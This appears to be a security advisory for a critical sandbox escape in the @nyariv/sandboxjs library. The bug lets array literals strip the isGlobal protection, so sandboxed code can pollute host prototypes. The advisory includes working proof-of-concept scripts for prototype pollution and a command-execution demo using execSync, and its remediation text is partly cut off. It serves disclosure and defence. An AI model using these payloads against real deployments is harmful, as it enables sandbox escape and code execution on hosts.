A sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)).
The sandbox implements a protection mechanism using the isGlobal flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.
src/executor.ts(L559-L571):addOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {
const items = (b as LispItem[])
.map((item) => {
if (item instanceof SpreadArray) {
return [...item.item];
} else {
return item;
}
})
.flat()
.map((item) => valueOrProp(item, context)); // <- isGlobal flag lost here
done(undefined, items);
});
Sandboxed code: const m=[Map.prototype][0]
↓
Array creation: isGlobal taint stripped via valueOrProp()
↓
Prototype mutation: m.cmd='id' (host prototype polluted)
↓
Host-side impact: new Map().cmd === 'id' (persistent)
↓
RCE (application-dependent): host code calls execSync(obj.cmd)
src/utils.ts(L380-L385):set(key: string, val: unknown) {
// ...
if (prop.isGlobal) { // <- This check is bypassed
throw new SandboxError(`Cannot override global variable '${key}'`);
}
(prop.context as any)[prop.prop] = val;
return prop;
}
When the prototype is accessed via array retrieval, the isGlobal flag is no longer set, so this protection is never triggered.
const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();
sandbox.compile(`
const arr=[Map.prototype];
const p=arr[0];
p.polluted='pwned';
return 'done';
`)().run();
console.log('polluted' in ({}), new Map().polluted);
Observed output: false pwned
Set.prototype.has:const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();
sandbox.compile(`
const s=[Set.prototype][0];
s.has=isFinite;
return 'done';
`)().run();
console.log('has overwritten:', Set.prototype.has === isFinite);
Observed output: has overwritten: true
const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const m=[Map.prototype][0];
m.cmd='id';
return 'done';
`)().run();
const obj = new Map();
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
Observed output: uid=501(user) gid=20(staff) groups=20(staff),...
This is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., Map.prototype, Set.prototype), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing obj.cmd to child_process.execSync).
Affected Systems: any application using @nyariv/sandboxjs to execute untrusted JavaScript.
isGlobal protection across array/object literal creation (do not unwrap Prop into raw values in a way that drops the global/prototype taint).Map.prototype, Set.prototype, etc.) even if they are obtained indirectly through literals.{
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-10T00:24:53Z",
"nvd_published_at": "2026-02-09T22:16:03Z",
"severity": "CRITICAL"
}